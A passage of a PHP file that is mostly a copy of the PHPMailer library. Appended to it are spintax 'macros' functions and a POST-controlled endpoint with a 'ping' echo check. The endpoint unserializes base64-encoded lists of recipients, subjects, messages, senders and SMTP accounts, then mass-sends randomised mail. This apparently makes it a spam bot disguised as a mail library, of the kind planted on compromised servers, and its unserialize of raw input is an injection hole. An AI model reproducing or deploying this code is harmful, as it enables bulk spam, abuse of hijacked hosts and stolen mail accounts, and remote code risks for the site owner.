  1716. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  1717. $result .= $this->LE;
  1718.  
  1719. return $result;
  1720. }
  1721.  
  1722. protected function EndBoundary($boundary) {
  1723. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1724. }
  1725.  
  1726. protected function SetMessageType() {
  1727. $this->message_type = array();
  1728. if($this->AlternativeExists()) $this->message_type[] = "alt";
  1729. if($this->InlineImageExists()) $this->message_type[] = "inline";
  1730. if($this->AttachmentExists()) $this->message_type[] = "attach";
  1731. $this->message_type = implode("_", $this->message_type);
  1732. if($this->message_type == "") $this->message_type = "plain";
  1733. }
  1734.  
  1735. public function HeaderLine($name, $value) {
  1736. return $name . ': ' . $value . $this->LE;
  1737. }
  1738.  
  1739. public function TextLine($value) {
  1740. return $value . $this->LE;
  1741. }
  1742.  
  1743. public function AddAttachment($path, $name = '', $encoding = 'base64', $type = '') {
  1744. try {
  1745. if ( !@is_file($path) ) {
  1746. throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE);
  1747. }
  1748.  
  1749. //If a MIME type is not specified, try to work it out from the file name
  1750. if ($type == '') {
  1751. $type = self::filenameToType($path);
  1752. }
  1753.  
  1754. $filename = basename($path);
  1755. if ( $name == '' ) {
  1756. $name = $filename;
  1757. }
  1758.  
  1759. $this->attachment[] = array(
  1760. 0 => $path,
  1761. 1 => $filename,
  1762. 2 => $name,
  1763. 3 => $encoding,
  1764. 4 => $type,
  1765. 5 => false, // isStringAttachment
  1766. 6 => 'attachment',
  1767. 7 => 0
  1768. );
  1769.  
  1770. } catch (phpmailerException $e) {
  1771. $this->SetError($e->getMessage());
  1772. if ($this->exceptions) {
  1773. throw $e;
  1774. }
  1775. if ($this->SMTPDebug) {
  1776. $this->edebug($e->getMessage()."\n");
  1777. }
  1778. return false;
  1779. }
  1780. return true;
  1781. }
  1782.  
  1783. public function GetAttachments() {
  1784. return $this->attachment;
  1785. }
  1786.  
  1787. protected function AttachAll($disposition_type, $boundary) {
  1788. $mime = array();
  1789. $cidUniq = array();
  1790. $incl = array();
  1791.  
  1792. foreach ($this->attachment as $attachment) {
  1793. if($attachment[6] == $disposition_type) {
  1794. $string = '';
  1795. $path = '';
  1796. $bString = $attachment[5];
  1797. if ($bString) {
  1798. $string = $attachment[0];
  1799. } else {
  1800. $path = $attachment[0];
  1801. }
  1802.  
  1803. $inclhash = md5(serialize($attachment));
  1804. if (in_array($inclhash, $incl)) { continue; }
  1805. $incl[] = $inclhash;
  1806. $filename = $attachment[1];
  1807. $name = $attachment[2];
  1808. $encoding = $attachment[3];
  1809. $type = $attachment[4];
  1810. $disposition = $attachment[6];
  1811. $cid = $attachment[7];
  1812. if ( $disposition == 'inline' && isset($cidUniq[$cid]) ) { continue; }
  1813. $cidUniq[$cid] = true;
  1814.  
  1815. $mime[] = sprintf("--%s%s", $boundary, $this->LE);
  1816. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE);
  1817. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  1818.  
  1819. if($disposition == 'inline') {
  1820. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  1821. }
  1822.  
  1823. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) {
  1824. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
  1825. } else {
  1826. $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
  1827. }
  1828.  
  1829. if($bString) {
  1830. $mime[] = $this->EncodeString($string, $encoding);
  1831. if($this->IsError()) {
  1832. return '';
  1833. }
  1834. $mime[] = $this->LE.$this->LE;
  1835. } else {
  1836. $mime[] = $this->EncodeFile($path, $encoding);
  1837. if($this->IsError()) {
  1838. return '';
  1839. }
  1840. $mime[] = $this->LE.$this->LE;
  1841. }
  1842. }
  1843. }
  1844.  
  1845. $mime[] = sprintf("--%s--%s", $boundary, $this->LE);
  1846.  
  1847. return implode("", $mime);
  1848. }
  1849.  
  1850. protected function EncodeFile($path, $encoding = 'base64') {
  1851. try {
  1852. if (!is_readable($path)) {
  1853. throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE);
  1854. }
  1855. $magic_quotes = get_magic_quotes_runtime();
  1856. if ($magic_quotes) {
  1857. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1858. set_magic_quotes_runtime(0);
  1859. } else {
  1860. ini_set('magic_quotes_runtime', 0);
  1861. }
  1862. }
  1863. $file_buffer = file_get_contents($path);
  1864. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  1865. if ($magic_quotes) {
  1866. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1867. set_magic_quotes_runtime($magic_quotes);
  1868. } else {
  1869. ini_set('magic_quotes_runtime', $magic_quotes);
  1870. }
  1871. }
  1872. return $file_buffer;
  1873. } catch (Exception $e) {
  1874. $this->SetError($e->getMessage());
  1875. return '';
  1876. }
  1877. }
  1878.  
  1879. public function EncodeString($str, $encoding = 'base64') {
  1880. $encoded = '';
  1881. switch(strtolower($encoding)) {
  1882. case 'base64':
  1883. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1884. break;
  1885. case '7bit':
  1886. case '8bit':
  1887. $encoded = $this->FixEOL($str);
  1888. //Make sure it ends with a line break
  1889. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  1890. $encoded .= $this->LE;
  1891. break;
  1892. case 'binary':
  1893. $encoded = $str;
  1894. break;
  1895. case 'quoted-printable':
  1896. $encoded = $this->EncodeQP($str);
  1897. break;
  1898. default:
  1899. $this->SetError($this->Lang('encoding') . $encoding);
  1900. break;
  1901. }
  1902. return $encoded;
  1903. }
  1904.  
  1905. public function EncodeHeader($str, $position = 'text') {
  1906. $x = 0;
  1907.  
  1908. switch (strtolower($position)) {
  1909. case 'phrase':
  1910. if (!preg_match('/[\200-\377]/', $str)) {
  1911. $encoded = addcslashes($str, "\0..\37\177\\\"");
  1912. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  1913. return ($encoded);
  1914. } else {
  1915. return ("\"$encoded\"");
  1916. }
  1917. }
  1918. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1919. break;
  1920. case 'comment':
  1921. $x = preg_match_all('/[()"]/', $str, $matches);
  1922. case 'text':
  1923. default:
  1924. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1925. break;
  1926. }
  1927.  
  1928. if ($x == 0) { //There are no chars that need encoding
  1929. return ($str);
  1930. }
  1931.  
  1932. $maxlen = 75 - 7 - strlen($this->CharSet);
  1933. if ($x > strlen($str)/3) { //More than a third of the content will need encoding, so B encoding will be most efficient
  1934. $encoding = 'B';
  1935. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  1936. $encoded = $this->Base64EncodeWrapMB($str, "\n");
  1937. } else {
  1938. $encoded = base64_encode($str);
  1939. $maxlen -= $maxlen % 4;
  1940. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1941. }
  1942. } else {
  1943. $encoding = 'Q';
  1944. $encoded = $this->EncodeQ($str, $position);
  1945. $encoded = $this->WrapText($encoded, $maxlen, true);
  1946. $encoded = str_replace('='.self::CRLF, "\n", trim($encoded));
  1947. }
  1948.  
  1949. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  1950. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1951.  
  1952. return $encoded;
  1953. }
  1954.  
  1955. public function HasMultiBytes($str) {
  1956. if (function_exists('mb_strlen')) {
  1957. return (strlen($str) > mb_strlen($str, $this->CharSet));
  1958. } else {
  1959. return false;
  1960. }
  1961. }
  1962.  
  1963. public function Base64EncodeWrapMB($str, $lf=null) {
  1964. $start = "=?".$this->CharSet."?B?";
  1965. $end = "?=";
  1966. $encoded = "";
  1967. if ($lf === null) {
  1968. $lf = $this->LE;
  1969. }
  1970.  
  1971. $mb_length = mb_strlen($str, $this->CharSet);
  1972. $length = 75 - strlen($start) - strlen($end);
  1973. $ratio = $mb_length / strlen($str);
  1974. $offset = $avgLength = floor($length * $ratio * .75);
  1975.  
  1976. for ($i = 0; $i < $mb_length; $i += $offset) {
  1977. $lookBack = 0;
  1978.  
  1979. do {
  1980. $offset = $avgLength - $lookBack;
  1981. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  1982. $chunk = base64_encode($chunk);
  1983. $lookBack++;
  1984. }
  1985. while (strlen($chunk) > $length);
  1986.  
  1987. $encoded .= $chunk . $lf;
  1988. }
  1989.  
  1990. $encoded = substr($encoded, 0, -strlen($lf));
  1991. return $encoded;
  1992. }
  1993.  
  1994. public function EncodeQP($string, $line_max = 76) {
  1995. if (function_exists('quoted_printable_encode')) {
  1996. return quoted_printable_encode($string);
  1997. }
  1998. $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string));
  1999. $string = preg_replace('/[^\r\n]{'.($line_max - 3).'}[^=\r\n]{2}/', "$0=\r\n", $string);
  2000. return $string;
  2001. }
  2002.  
  2003. public function EncodeQPphp($string, $line_max = 76, $space_conv = false) {
  2004. return $this->EncodeQP($string, $line_max);
  2005. }
  2006.  
  2007. public function EncodeQ($str, $position = 'text') {
  2008. $pattern = '';
  2009. $encoded = str_replace(array("\r", "\n"), '', $str);
  2010. switch (strtolower($position)) {
  2011. case 'phrase':
  2012. $pattern = '^A-Za-z0-9!*+\/ -';
  2013. break;
  2014.  
  2015. case 'comment':
  2016. $pattern = '\(\)"';
  2017.  
  2018. case 'text':
  2019. default:
  2020. $pattern = '\075\000-\011\013\014\016-\037\077\137\177-\377' . $pattern;
  2021. break;
  2022. }
  2023.  
  2024. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2025. foreach (array_unique($matches[0]) as $char) {
  2026. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2027. }
  2028. }
  2029.  
  2030. return str_replace(' ', '_', $encoded);
  2031. }
  2032.  
  2033. public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = '') {
  2034. if ($type == '') {
  2035. $type = self::filenameToType($filename);
  2036. }
  2037. $this->attachment[] = array(
  2038. 0 => $string,
  2039. 1 => $filename,
  2040. 2 => basename($filename),
  2041. 3 => $encoding,
  2042. 4 => $type,
  2043. 5 => true, // isStringAttachment
  2044. 6 => 'attachment',
  2045. 7 => 0
  2046. );
  2047. }
  2048.  
  2049. public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '') {
  2050. if ( !@is_file($path) ) {
  2051. $this->SetError($this->Lang('file_access') . $path);
  2052. return false;
  2053. }
  2054.  
  2055. if ($type == '') {
  2056. $type = self::filenameToType($path);
  2057. }
  2058.  
  2059. $filename = basename($path);
  2060. if ( $name == '' ) {
  2061. $name = $filename;
  2062. }
  2063.  
  2064. // Append to $attachment array
  2065. $this->attachment[] = array(
  2066. 0 => $path,
  2067. 1 => $filename,
  2068. 2 => $name,
  2069. 3 => $encoding,
  2070. 4 => $type,
  2071. 5 => false, // isStringAttachment
  2072. 6 => 'inline',
  2073. 7 => $cid
  2074. );
  2075. return true;
  2076. }
  2077.  
  2078. public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '') {
  2079. if ($type == '') {
  2080. $type = self::filenameToType($name);
  2081. }
  2082. $this->attachment[] = array(
  2083. 0 => $string,
  2084. 1 => $name,
  2085. 2 => $name,
  2086. 3 => $encoding,
  2087. 4 => $type,
  2088. 5 => true, // isStringAttachment
  2089. 6 => 'inline',
  2090. 7 => $cid
  2091. );
  2092. return true;
  2093. }
  2094.  
  2095. public function InlineImageExists() {
  2096. foreach($this->attachment as $attachment) {
  2097. if ($attachment[6] == 'inline') {
  2098. return true;
  2099. }
  2100. }
  2101. return false;
  2102. }
  2103.  
  2104. public function AttachmentExists() {
  2105. foreach($this->attachment as $attachment) {
  2106. if ($attachment[6] == 'attachment') {
  2107. return true;
  2108. }
  2109. }
  2110. return false;
  2111. }
  2112.  
  2113. public function AlternativeExists() {
  2114. return !empty($this->AltBody);
  2115. }
  2116.  
  2117. public function ClearAddresses() {
  2118. foreach($this->to as $to) {
  2119. unset($this->all_recipients[strtolower($to[0])]);
  2120. }
  2121. $this->to = array();
  2122. }
  2123.  
  2124. public function ClearCCs() {
  2125. foreach($this->cc as $cc) {
  2126. unset($this->all_recipients[strtolower($cc[0])]);
  2127. }
  2128. $this->cc = array();
  2129. }
  2130.  
  2131. public function ClearBCCs() {
  2132. foreach($this->bcc as $bcc) {
  2133. unset($this->all_recipients[strtolower($bcc[0])]);
  2134. }
  2135. $this->bcc = array();
  2136. }
  2137.  
  2138. public function ClearReplyTos() {
  2139. $this->ReplyTo = array();
  2140. }
  2141.  
  2142. public function ClearAllRecipients() {
  2143. $this->to = array();
  2144. $this->cc = array();
  2145. $this->bcc = array();
  2146. $this->all_recipients = array();
  2147. }
  2148.  
  2149. public function ClearAttachments() {
  2150. $this->attachment = array();
  2151. }
  2152.  
  2153. public function ClearCustomHeaders() {
  2154. $this->CustomHeader = array();
  2155. }
  2156.  
  2157. protected function SetError($msg) {
  2158. $this->error_count++;
  2159. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2160. $lasterror = $this->smtp->getError();
  2161. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2162. $msg .= '<p>' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2163. }
  2164. }
  2165. $this->ErrorInfo = $msg;
  2166. }
  2167.  
  2168. public static function RFCDate() {
  2169. date_default_timezone_set(@date_default_timezone_get());
  2170. return date('D, j M Y H:i:s O');
  2171. }
  2172.  
  2173. protected function ServerHostname() {
  2174. if (!empty($this->Hostname)) {
  2175. $result = $this->Hostname;
  2176. } elseif (isset($_SERVER['SERVER_NAME'])) {
  2177. $result = $_SERVER['SERVER_NAME'];
  2178. } else {
  2179. $result = 'localhost.localdomain';
  2180. }
  2181.  
  2182. return $result;
  2183. }
  2184.  
  2185. protected function Lang($key) {
  2186. if(count($this->language) < 1) {
  2187. $this->SetLanguage('en'); // set the default language
  2188. }
  2189.  
  2190. if(isset($this->language[$key])) {
  2191. return $this->language[$key];
  2192. } else {
  2193. return 'Language string failed to load: ' . $key;
  2194. }
  2195. }
  2196.  
  2197. public function IsError() {
  2198. return ($this->error_count > 0);
  2199. }
  2200.  
  2201. public function FixEOL($str) {
  2202. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2203. if ($this->LE !== "\n") {
  2204. $nstr = str_replace("\n", $this->LE, $nstr);
  2205. }
  2206. return $nstr;
  2207. }
  2208.  
  2209. public function AddCustomHeader($name, $value=null) {
  2210. if ($value === null) {
  2211. $this->CustomHeader[] = explode(':', $name, 2);
  2212. } else {
  2213. $this->CustomHeader[] = array($name, $value);
  2214. }
  2215. }
  2216.  
  2217. public function MsgHTML($message, $basedir = '', $advanced = false) {
  2218. preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images);
  2219. if (isset($images[2])) {
  2220. foreach ($images[2] as $i => $url) {
  2221. // do not change urls for absolute images (thanks to corvuscorax)
  2222. if (!preg_match('#^[A-z]+://#', $url)) {
  2223. $filename = basename($url);
  2224. $directory = dirname($url);
  2225. if ($directory == '.') {
  2226. $directory = '';
  2227. }
  2228. $cid = md5($url).'@phpmailer.0'; //RFC2392 S 2
  2229. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2230. $basedir .= '/';
  2231. }
  2232. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2233. $directory .= '/';
  2234. }
  2235. if ($this->AddEmbeddedImage($basedir.$directory.$filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  2236. $message = preg_replace("/".$images[1][$i]."=[\"']".preg_quote($url, '/')."[\"']/Ui", $images[1][$i]."=\"cid:".$cid."\"", $message);
  2237. }
  2238. }
  2239. }
  2240. }
  2241. $this->IsHTML(true);
  2242. if (empty($this->AltBody)) {
  2243. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "\n\n";
  2244. }
  2245. $this->Body = $this->NormalizeBreaks($message);
  2246. $this->AltBody = $this->NormalizeBreaks($this->html2text($message, $advanced));
  2247. return $this->Body;
  2248. }
  2249.  
  2250. public function html2text($html, $advanced = false) {
  2251. if ($advanced) {
  2252. //require_once 'extras/class.html2text.php';
  2253. $h = new html2text($html);
  2254. return $h->get_text();
  2255. }
  2256. return html_entity_decode(trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  2257. }
  2258.  
  2259. public static function _mime_types($ext = '') {
  2260. $mimes = array(
  2261. 'zip' => 'application/zip',
  2262. );
  2263. return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  2264. }
  2265.  
  2266. public static function filenameToType($filename) {
  2267. $qpos = strpos($filename, '?');
  2268. if ($qpos !== false) {
  2269. $filename = substr($filename, 0, $qpos);
  2270. }
  2271. $pathinfo = self::mb_pathinfo($filename);
  2272. return self::_mime_types($pathinfo['extension']);
  2273. }
  2274.  
  2275. public static function mb_pathinfo($path, $options = null) {
  2276. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2277. $m = array();
  2278. preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $m);
  2279. if(array_key_exists(1, $m)) {
  2280. $ret['dirname'] = $m[1];
  2281. }
  2282. if(array_key_exists(2, $m)) {
  2283. $ret['basename'] = $m[2];
  2284. }
  2285. if(array_key_exists(5, $m)) {
  2286. $ret['extension'] = $m[5];
  2287. }
  2288. if(array_key_exists(3, $m)) {
  2289. $ret['filename'] = $m[3];
  2290. }
  2291. switch($options) {
  2292. case PATHINFO_DIRNAME:
  2293. case 'dirname':
  2294. return $ret['dirname'];
  2295. break;
  2296. case PATHINFO_BASENAME:
  2297. case 'basename':
  2298. return $ret['basename'];
  2299. break;
  2300. case PATHINFO_EXTENSION:
  2301. case 'extension':
  2302. return $ret['extension'];
  2303. break;
  2304. case PATHINFO_FILENAME:
  2305. case 'filename':
  2306. return $ret['filename'];
  2307. break;
  2308. default:
  2309. return $ret;
  2310. }
  2311. }
  2312.  
  2313. public function set($name, $value = '') {
  2314. try {
  2315. if (isset($this->$name) ) {
  2316. $this->$name = $value;
  2317. } else {
  2318. throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL);
  2319. }
  2320. } catch (Exception $e) {
  2321. $this->SetError($e->getMessage());
  2322. if ($e->getCode() == self::STOP_CRITICAL) {
  2323. return false;
  2324. }
  2325. }
  2326. return true;
  2327. }
  2328.  
  2329. public function SecureHeader($str) {
  2330. return trim(str_replace(array("\r", "\n"), '', $str));
  2331. }
  2332.  
  2333. public static function NormalizeBreaks($text, $breaktype = "\r\n") {
  2334. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2335. }
  2336.  
  2337. public function Sign($cert_filename, $key_filename, $key_pass) {
  2338. $this->sign_cert_file = $cert_filename;
  2339. $this->sign_key_file = $key_filename;
  2340. $this->sign_key_pass = $key_pass;
  2341. }
  2342.  
  2343. public function DKIM_QP($txt) {
  2344. $line = '';
  2345. for ($i = 0; $i < strlen($txt); $i++) {
  2346. $ord = ord($txt[$i]);
  2347. if ( ((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)) ) {
  2348. $line .= $txt[$i];
  2349. } else {
  2350. $line .= "=".sprintf("%02X", $ord);
  2351. }
  2352. }
  2353. return $line;
  2354. }
  2355.  
  2356. public function DKIM_Sign($s) {
  2357. if (!defined('PKCS7_TEXT')) {
  2358. if ($this->exceptions) {
  2359. throw new phpmailerException($this->Lang("signing").' OpenSSL extension missing.');
  2360. }
  2361. return '';
  2362. }
  2363. $privKeyStr = file_get_contents($this->DKIM_private);
  2364. if ($this->DKIM_passphrase != '') {
  2365. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2366. } else {
  2367. $privKey = $privKeyStr;
  2368. }
  2369. if (openssl_sign($s, $signature, $privKey)) {
  2370. return base64_encode($signature);
  2371. }
  2372. return '';
  2373. }
  2374.  
  2375. public function DKIM_HeaderC($s) {
  2376. $s = preg_replace("/\r\n\s+/", " ", $s);
  2377. $lines = explode("\r\n", $s);
  2378. foreach ($lines as $key => $line) {
  2379. list($heading, $value) = explode(":", $line, 2);
  2380. $heading = strtolower($heading);
  2381. $value = preg_replace("/\s+/", " ", $value) ; // Compress useless spaces
  2382. $lines[$key] = $heading.":".trim($value) ; // Don't forget to remove WSP around the value
  2383. }
  2384. $s = implode("\r\n", $lines);
  2385. return $s;
  2386. }
  2387.  
  2388. public function DKIM_BodyC($body) {
  2389. if ($body == '') return "\r\n";
  2390. $body = str_replace("\r\n", "\n", $body);
  2391. $body = str_replace("\n", "\r\n", $body);
  2392. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2393. $body = substr($body, 0, strlen($body) - 2);
  2394. }
  2395. return $body;
  2396. }
  2397.  
  2398. public function DKIM_Add($headers_line, $subject, $body) {
  2399. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2400. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2401. $DKIMquery = 'dns/txt'; // Query method
  2402. $DKIMtime = time() ; // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2403. $subject_header = "Subject: $subject";
  2404. $headers = explode($this->LE, $headers_line);
  2405. $from_header = '';
  2406. $to_header = '';
  2407. $current = '';
  2408. foreach($headers as $header) {
  2409. if (strpos($header, 'From:') === 0) {
  2410. $from_header = $header;
  2411. $current = 'from_header';
  2412. } elseif (strpos($header, 'To:') === 0) {
  2413. $to_header = $header;
  2414. $current = 'to_header';
  2415. } else {
  2416. if($current && strpos($header, ' =?') === 0){
  2417. $current .= $header;
  2418. } else {
  2419. $current = '';
  2420. }
  2421. }
  2422. }
  2423. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2424. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2425. $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)) ; // Copied header fields (dkim-quoted-printable
  2426. $body = $this->DKIM_BodyC($body);
  2427. $DKIMlen = strlen($body) ; // Length of body
  2428. $DKIMb64 = base64_encode(pack("H*", sha1($body))) ; // Base64 of packed binary SHA-1 hash of body
  2429. $ident = ($this->DKIM_identity == '')? '' : " i=" . $this->DKIM_identity . ";";
  2430. $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";\r\n".
  2431. "\tt=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";\r\n".
  2432. "\th=From:To:Subject;\r\n".
  2433. "\td=" . $this->DKIM_domain . ";" . $ident . "\r\n".
  2434. "\tz=$from\r\n".
  2435. "\t|$to\r\n".
  2436. "\t|$subject;\r\n".
  2437. "\tbh=" . $DKIMb64 . ";\r\n".
  2438. "\tb=";
  2439. $toSign = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs);
  2440. $signed = $this->DKIM_Sign($toSign);
  2441. return $dkimhdrs.$signed."\r\n";
  2442. }
  2443.  
  2444. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) {
  2445. if (!empty($this->action_function) && is_callable($this->action_function)) {
  2446. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2447. call_user_func_array($this->action_function, $params);
  2448. }
  2449. }
  2450. }
  2451.  
  2452. class phpmailerException extends Exception {
  2453. public function errorMessage() {
  2454. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2455. return $errorMsg;
  2456. }
  2457. }
  2458.  
  2459. // macroces /////////////////////////////////////////////////////////
  2460.  
  2461. function alter_macros($content)
  2462. {
  2463. preg_match_all('#{(.*)}#Ui', $content, $matches);
  2464.  
  2465. for($i = 0; $i < count($matches[1]); $i++)
  2466. {
  2467.  
  2468. $ns = explode("|", $matches[1][$i]);
  2469. $c2 = count($ns);
  2470. $rand = rand(0, ($c2 - 1));
  2471. $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  2472. }
  2473. return $content;
  2474. }
  2475.  
  2476. function text_macros($content)
  2477. {
  2478. preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  2479.  
  2480. for($i = 0; $i < count($matches[0]); $i++)
  2481. {
  2482. $min = $matches[1][$i];
  2483. $max = $matches[2][$i];
  2484. $rand = rand($min, $max);
  2485. $word = generate_word($rand);
  2486.  
  2487. $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  2488. }
  2489.  
  2490. preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
  2491.  
  2492. for($i = 0; $i < count($matches[0]); $i++)
  2493. {
  2494. $count = $matches[1][$i];
  2495.  
  2496. $word = generate_word($count);
  2497.  
  2498. $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  2499. }
  2500.  
  2501.  
  2502. return $content;
  2503. }
  2504.  
  2505. function xnum_macros($content)
  2506. {
  2507. preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  2508.  
  2509. for($i = 0; $i < count($matches[0]); $i++)
  2510. {
  2511. $num = $matches[1][$i];
  2512. $min = pow(10, $num - 1);
  2513. $max = pow(10, $num) - 1;
  2514.  
  2515. $rand = rand($min, $max);
  2516. $content = str_replace($matches[0][$i], $rand, $content);
  2517. }
  2518. return $content;
  2519. }
  2520.  
  2521. function num_macros($content)
  2522. {
  2523. preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  2524.  
  2525. for($i = 0; $i < count($matches[0]); $i++)
  2526. {
  2527. $min = $matches[1][$i];
  2528. $max = $matches[2][$i];
  2529. $rand = rand($min, $max);
  2530. $content = str_replace($matches[0][$i], $rand, $content);
  2531. }
  2532. return $content;
  2533. }
  2534.  
  2535. function generate_word($length)
  2536. {
  2537. $chars = 'abcdefghijklmnopqrstuvyxz';
  2538. $numChars = strlen($chars);
  2539. $string = '';
  2540. for($i = 0; $i < $length; $i++)
  2541. {
  2542. $string .= substr($chars, rand(1, $numChars) - 1, 1);
  2543. }
  2544. return $string;
  2545. }
  2546.  
  2547. function pass_macros($content, $passes)
  2548. {
  2549. $pass = array_pop($passes);
  2550.  
  2551. return str_replace("[PASS]", $pass, $content);
  2552. }
  2553.  
  2554. function fteil_macros($content, $fteil)
  2555. {
  2556. return str_replace("[FTEIL]", $fteil, $content);
  2557. }
  2558.  
  2559. /////////////////////////////////////////////////////////////////
  2560.  
  2561.  
  2562. function sendSmtpMail( $host, $port, $login, $pass, $from, $name, $to, $subject, $body )
  2563. {
  2564. try
  2565. {
  2566. $mail = new PHPMailer(true);
  2567. $mail->IsSMTP();
  2568. $mail->Host = $host;
  2569. $mail->Port = $port;
  2570.  
  2571. if ($port == 587)
  2572. {
  2573. $mail->SMTPSecure = 'tls';
  2574. }
  2575. elseif($port == 465)
  2576. {
  2577. $mail->SMTPSecure = 'ssl';
  2578. }
  2579.  
  2580. $mail->SMTPAuth = true;
  2581. $mail->Username = $login;
  2582. $mail->Password = $pass;
  2583. $mail->SetFrom($from, $name);
  2584. $mail->AddReplyTo($from, $name);
  2585. $mail->AddAddress($to);
  2586. $mail->Subject = $subject;
  2587. $mail->MsgHTML($body);
  2588.  
  2589. if (!$mail->send())
  2590. {
  2591. return $mail->ErrorInfo;
  2592. }
  2593. else
  2594. {
  2595. return 0;
  2596. }
  2597. } catch (Exception $e)
  2598. {
  2599. return $mail->ErrorInfo;
  2600. }
  2601. }
  2602.  
  2603. if (isset($_POST["ping"]))
  2604. {
  2605. echo $_POST["ping"];
  2606. exit();
  2607. }
  2608.  
  2609. if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["acc"]))
  2610. {
  2611. exit();
  2612. }
  2613.  
  2614. $emails = @unserialize(base64_decode($_POST["emails"]));
  2615. $themes = @unserialize(base64_decode($_POST["themes"]));
  2616. $message = @unserialize(base64_decode($_POST["messages"]));
  2617. $froms = @unserialize(base64_decode($_POST["froms"]));
  2618. $acc = @unserialize(base64_decode($_POST["acc"]));
  2619.  
  2620. $good = 0;
  2621. $bad = 0;
  2622. $last_error = 0;
  2623.  
  2624. foreach ($emails as $uid=>$email)
  2625. {
  2626. $theme = $themes[array_rand($themes)];
  2627.  
  2628. $theme = alter_macros($theme);
  2629. $theme = num_macros($theme);
  2630. $theme = text_macros($theme);
  2631. $theme = xnum_macros($theme);
  2632.  
  2633. $message = alter_macros($message);
  2634. $message = num_macros($message);
  2635. $message = text_macros($message);
  2636. $message = xnum_macros($message);
  2637. $message = fteil_macros($message, $uid);
  2638.  
  2639. $from = $froms[array_rand($froms)];
  2640. $from = alter_macros($from);
  2641. $from = num_macros($from);
  2642. $from = text_macros($from);
